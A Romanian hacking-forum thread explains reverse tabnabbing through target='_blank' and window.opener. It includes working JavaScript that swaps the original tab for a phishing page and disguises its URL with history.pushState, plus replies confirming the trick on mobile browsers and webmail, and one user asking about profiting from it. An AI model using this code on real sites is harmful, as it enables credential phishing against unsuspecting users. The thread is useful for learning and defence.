B7ackAnge7z Posted January 6, 2013 Report Posted January 6, 2013 Sper s? nu gre?esc dac? voi spune, c? ?tim cu to?ii ce e un link ?i la ce folose?te atributul target pentru tag-ul <a>. ?i dat fiind faptul c? majoritatea consider? inofensiv? folosirea acestei tehnici atât de populare, în acest tutorial voi încerca s? demonstrez contrariul.Pentru început vreau s? men?ionez c? ceea ce va fi descris aici, personal o consider a fiind o vulnerabilitate pentru toate browserele cu excep?ia... ta-da! — Internet Explorer. Iat? de ce în continuare voi folosi cuvântul „vulnerabilitate” atunci când m? voi referi la acest „fenomen”.De asemenea, v? rog s? atrage?i aten?ia c? aceast? vulnerabilitate v-a func?iona perfect doar dac? se va ap?sa click de stânga pe link, ?i nu click de dreapta ? „Deschide în fil? nou?”.?i, nu în ultimul rând, a?a cum toat? lumea recomand? s? fie folosit target="_blank" pentru toate link-urile externe (doar nu dorim ca utilizatorul s? p?r?seasc? pagina noastr?), trebuie s? constat c? aceast? vulnerabilitate afecteaz? majoritatea site-urilor care fac referire la pagini externe.TeorieDac? avem pagina curent? „A” ?i facem referire la pagina „B” folosind atributul target="_blank", atunci când se va deschide pagina „B” pentru aceasta va fi creat un obiect window.opener cu ajutorului c?ruia putem redirec?iona pagina „A” c?tre o nou? pagin? în timp ce utilizatorul acceseaz? pagina „B”. ?i cel mai important, paginile „A” ?i „B” pot fi pe domenii diferite. Practic?Pentru a în?elege mai bine despre ce merge vorba, v? recomand urm?torul exemplu: ap?sa?i click aici, a?tepta?i s? se încarce pagina, dup? care reveni?i înapoi. Dac? apare eroarea „window.opener is null” atunci:Ai deschis link-ul altfel decât folosind click de stânga;Browserul t?u nu e vulnerabil;Magie neagr??Pentru un exemplu mai complex, v? rog s? accesa?i aceast? pagin? unde am folosit aceast? vulnerabilitate pentru a simula un atac de tip phishing asupra unui site ce ofer? servicii de email. Ca ?i pentru oricare site asem?n?tor (Gmail, Hotmail ?.a.) fiecare link primit într-un mesaj are atributul target="_blank".Explica?iiPentru a exploata vulnerabilitatea, trimitem un mesaj ce con?ine adresa URL c?tre pagina „capcan?”, unde pentru a fi siguri c? utilizatorul a deschis link-ul, folosind click de stânga ?i nu alt? metod?, verific?m dac? exist? obiectul window.opener ?i nu este NULL. Dup? care, putem redirec?iona pagina de unde a venit utilizatorul. Codul arat? cam a?a:if (window.opener) { window.opener.location.replace('full-url-to-scam-page');}Dup? cum pute?i observa, totul e atât de simplu, atât de banal, atât de periculos... Dac? pagina de phishing ?i cea legitim? arat? ca 2 pic?turi de ap?, iar numele domeniului nu d? de b?nuit, când utilizatorul va reveni la pagina ini?ial? cu siguran??, nu va observa modificarea.Pentru a da mai pu?in de b?nuit, poate fi modificat? adresa URL pentru pagina de phishing în felul urm?tor:De pe pagina funny.php e nevoie s? trimitem adresa URL (referrer) de unde a venit utilizatorul. Eu am f?cut a?a:var referrer = encodeURIComponent(document.referrer);window.opener.location = 'http://black.securrity.com/t_blank/scam.php#' + referrer;Apoi, pe pagina scam.php am folosit urm?torul cod:// Extragem leg?tura adresei URL ?i elimin?m numele domeniuluivar fakeurl = decodeURIComponent(window.location.hash).replace('#http://white.securrity.com', '');// Modific?m adresa URL f?r? a înc?rca con?inutul acelei paginiwindow.history.pushState(false, false, fake_url);În loc de concluziiSincer, nu în?eleg, ce a fost în capul dezvoltatorilor ca s? permit? executarea func?iei location.replace() sau modificarea obiectului location dintre dou? domenii diferite? Dac? era de pe acela?i domeniu, în?elegeam... ?i chiar e foarte straniu, c?ci celelalte func?ii ?i atribute ale obiectului window.opener nu pot nici m?car citite, deoarece:Error: Permission denied to access property 'bla-bla-bla' 6 Quote
Tiger9620 Posted January 6, 2013 Report Posted January 6, 2013 Foarte bun tutorialul. Multumim. Quote
em Posted January 7, 2013 Report Posted January 7, 2013 Confirm ca merge si pe browserul stock din android. Acolo eu consider vul erabilitatea critica pentru ca linkbarul e by default hidden. Daca nu as fi citit articolul chiar m-ai fi pacalit sa ma loghez iar.Felicitari Quote
Maximus Posted January 7, 2013 Report Posted January 7, 2013 Da, Felicitari ... Ti-am aruncat si 1 os Quote
shaggi Posted January 7, 2013 Report Posted January 7, 2013 (edited) )) [03:06:51.064] window.location [03:06:51.080] se pare ca toate proprietatile nu mai sunt access denied cand pagina deschisa e pe acelasi domeniu:) Edited January 7, 2013 by shaggi Quote
GarryOne Posted January 7, 2013 Report Posted January 7, 2013 Bravo. 1. Vunlerabilitatea e descpoperiat de tine? 2. De ce nu functioneaza cand deschizi link-ul prin click drepata si "deschide intr-o fila noua"?Multumesc. Quote
eusimplu Posted January 7, 2013 Report Posted January 7, 2013 Nici nu mi-am dat seama prima data ca pagina de logare e de phishing ) Deci mai nou va trebuii sa ne uitam la fiecare click pe o adresa la ce adresa suntem. Quote
B7ackAnge7z Posted January 7, 2013 Author Report Posted January 7, 2013 Confirm ca merge si pe browserul stock din android. Acolo eu consider vul erabilitatea critica pentru ca linkbarul e by default hidden.Într-adev?r, mi s-a spus ieri despre acest lucru. Plus c? nici nu observi c? pagina face „refresh”.se pare ca toate proprietatile nu mai sunt access denied cand pagina deschisa e pe acelasi domeniuDac? e de pe acela?i domeniu nu e nici o problem? (fi?ierele cookie tot pot fi citite de pe acela?i domeniu).1. Vunlerabilitatea e descpoperiat de tine? 2. De ce nu functioneaza cand deschizi link-ul prin click drepata si "deschide intr-o fila noua"?Multumesc.1) Nu, nu de mine. Doar întâlnind aceast? „problem?” m-am apucat serios de studiat. Îns? dac? a? fi fost mai atent, trebuia s? ?tiu tot despre vulnerabilitate înc? din prim?vara lui 2012 (*ehh... dând am?rât din cap de mai multe ori*).2) Sincer, nu am nici o idee. La început credeam c? nici document.referer nu merge dac? folose?ti click de dreapta, îns? în realitate nu e transmis doar obiectul window.opener Quote
Sim Master Posted January 7, 2013 Report Posted January 7, 2013 Frumos. Am testat acum pe yahoo si gmail si se pare ca merge. Nu ar trebui raportat, sau sa mai profitam putin? Quote
vexyro Posted January 7, 2013 Report Posted January 7, 2013 (edited) Confirm ca merge si pe browserul stock din android.La fel ?i Safari, iOS.http://www.youtube.com/watch?feature=player_detailpage&v=q5A4k1bDV0s#t=217sCât despre Google Chrome, Android, se pare c? este mai "iste?". Merit? s? încerce cineva pe Android cu Chrome, nu cu browser-ul din stock. Edited January 7, 2013 by vexyro Quote
robertutzu Posted January 7, 2013 Report Posted January 7, 2013 La fel ?i Safari, iOS.http://www.youtube.com/watch?feature=player_detailpage&v=q5A4k1bDV0s#t=217sCât despre Google Chrome, Android, se pare c? este mai "iste?". Merit? s? încerce cineva pe Android cu Chrome, nu cu browser-ul din stock.din cate stiu browserul stock e chiar chrome Quote
B7ackAnge7z Posted January 8, 2013 Author Report Posted January 8, 2013 Am testat acum pe yahoo si gmail si se pare ca merge. Nu ar trebui raportat, sau sa mai profitam putin?Aici merge vorba despre o vulnerabilitate pentru browser, iar cei de la Google ?i Mozilla au fost în?tiin?a?i. Deci, de aceast? vulnerabilitate ar trebui s? se ocupe dezvoltatorii de browsere, ?i nu cei de site-uri.Cât despre Google Chrome pentru Android — da, acesta este vulnerabil. Quote
yoyois Posted January 8, 2013 Report Posted January 8, 2013 Bravo. Interesant si bine explicat! Eu inca ma mai chinui sa inteleg cum functioneaza vulnerabilitatea. Oricum Bravo! Quote
nulledmarian Posted January 8, 2013 Report Posted January 8, 2013 Toate linkurile le deschid cu scrol-ul ...Oricum, foarte interesanta treaba. Quote